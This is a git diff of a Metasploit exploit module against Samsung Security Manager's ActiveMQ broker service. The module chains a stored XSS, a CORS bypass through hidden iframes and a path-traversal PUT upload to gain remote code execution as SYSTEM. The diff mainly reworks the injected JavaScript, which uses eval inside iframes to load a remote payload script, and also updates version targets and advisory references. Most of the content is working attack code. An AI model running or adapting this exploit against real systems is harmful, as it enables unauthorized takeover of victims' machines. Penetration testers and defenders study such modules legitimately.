@@ -14,28 +14,27 @@ class MetasploitModule < Msf::Exploit::Remote
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => "Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution" ,
17
+ 'Name' => "Samsung Security Manager 1.4 ActiveMQ Broker Service PUT Method Remote Code Execution" ,
18
18
'Description' => %q{
19
- This is an exploit against Samsung Security Manager that bypasses the patch in
20
- CVE-2015-3435 by exploiting the vulnerability against the client side. This exploit has
21
- been tested successfully against IE, FireFox and Chrome by abusing a GET request XSS to
22
- bypass CORS and reach the vulnerable PUT. Finally, a traversal is used in the PUT request
23
- to upload the code just where we want it and gain Remote Code Execution as SYSTEM.
19
+ This is an exploit against Samsung Security Manager that bypasses the patch in ZDI-15-156 & ZDI-16-481
20
+ by exploiting the vulnerability against the client-side. This exploit has been tested successfully using
21
+ IE, FireFox and Chrome by abusing a GET request XSS to bypass CORS and reach the vulnerable PUT. Finally
22
+ a traversal is used in the PUT request to upload the code just where we want it and gain RCE as SYSTEM.
24
23
} ,
25
24
'License' => MSF_LICENSE ,
26
25
'Author' =>
27
26
[
28
- 'mr_me <mr_me[at]offensive-security.com>' , # vuln + module
27
+ 'mr_me <mr_me[at]offensive-security.com>' , # AWAE training 2016
29
28
] ,
30
29
'References' =>
31
30
[
32
- [ 'URL' , 'http://metasploit.com' ]
31
+ [ 'URL' , 'http://www.zerodayinitiative.com/advisories/ZDI-15-156/' ] , # client vs server
32
+ [ 'URL' , 'http://www.zerodayinitiative.com/advisories/ZDI-16-481/' ] # client vs server
33
33
] ,
34
34
'Platform' => 'win' ,
35
35
'Targets' =>
36
36
[
37
- # tested on 1.32, 1.4 & 1.5
38
- [ 'Samsung Security Manager 1.32, 1.4 & 1.5 Universal' , { } ] ,
37
+ [ 'Samsung Security Manager 1.32 & 1.4 Universal' , { } ] # tested on 1.32 & 1.4
39
38
] ,
40
39
'DisclosureDate' => "Aug 05 2016" ,
41
40
'DefaultTarget' => 0 ) )
@@ -175,7 +174,7 @@ def on_request_uri(cli, request)
175
174
176
175
function start() {
177
176
do_put('#{ jsp_uri } ', String.fromCharCode(#{ encoded_jsp } ));
178
- setTimeout(exploit(), 2000 ); // timing is important
177
+ setTimeout(exploit(), 4000 ); // timing is important
179
178
}
180
179
start();
181
180
|
@@ -198,27 +197,39 @@ def on_request_uri(cli, request)
198
197
onlick . obfuscate
199
198
end
200
199
201
- iframe_injection = ""
202
- # done so that we can ensure that we hit our payload, since iframes load very fast, we need a few
203
- ( 1 ..20 ) . step ( 1 ) do |n |
204
- iframe_injection << "<iframe src=\" http://localhost:8161/admin/queueGraph.jsp\" width=\" 0\" height=\" 0\" ></iframe>"
205
- end
206
-
207
- # the stored XSS endpoint
208
- target = "http://localhost:8161/admin/browse.jsp?JMSDestination="
209
-
210
- # we use XSS to execute JavaScript code in local context to avoid CORS
211
- xss_injection = "\" +eval(\" var a=document.createElement('script');a.type='text/javascript';"
212
- xss_injection << "a.src='#{ payload_url } ';document.body.appendChild(a)\" )+\" "
213
- target << Rex ::Text . uri_encode ( xss_injection )
214
-
215
200
# we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
216
201
# and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS
217
202
html_content = %Q|
218
203
<html>
219
204
<body>
220
- <iframe src="#{ target } " width="0" height="0"></iframe>
221
- #{ iframe_injection }
205
+ <script>
206
+
207
+ function fire() {
208
+ var a = document.createElement('script');
209
+ a.type = 'text/javascript';
210
+ a.src = '#{ payload_url } ';
211
+ document.body.appendChild(a);
212
+ };
213
+
214
+ var code = fire.toString() + ";fire();";
215
+ var evalCode = 'eval("' + code + '")';
216
+ var if1 = document.createElement("iframe");
217
+ if1.src = 'http://localhost:8161/admin/browse.jsp?JMSDestination="%2b' + evalCode + '%2b"';
218
+ if1.width = 0;
219
+ if1.height = 0;
220
+ document.body.appendChild(if1);
221
+
222
+ </script>
223
+ <script>
224
+
225
+ window.onload = function() {
226
+ var if2 = document.createElement("iframe");
227
+ if2.src = "http://localhost:8161/admin/queueGraph.jsp"
228
+ if2.width = 0;
229
+ if2.height = 0;
230
+ document.body.appendChild(if2);
231
+ };
232
+ </script>
222
233
</body>
223
234
</html>
224
235
|
@@ -227,4 +238,3 @@ def on_request_uri(cli, request)
227
238
handler ( cli )
228
239
end
229
240
end
230
-
0 commit comments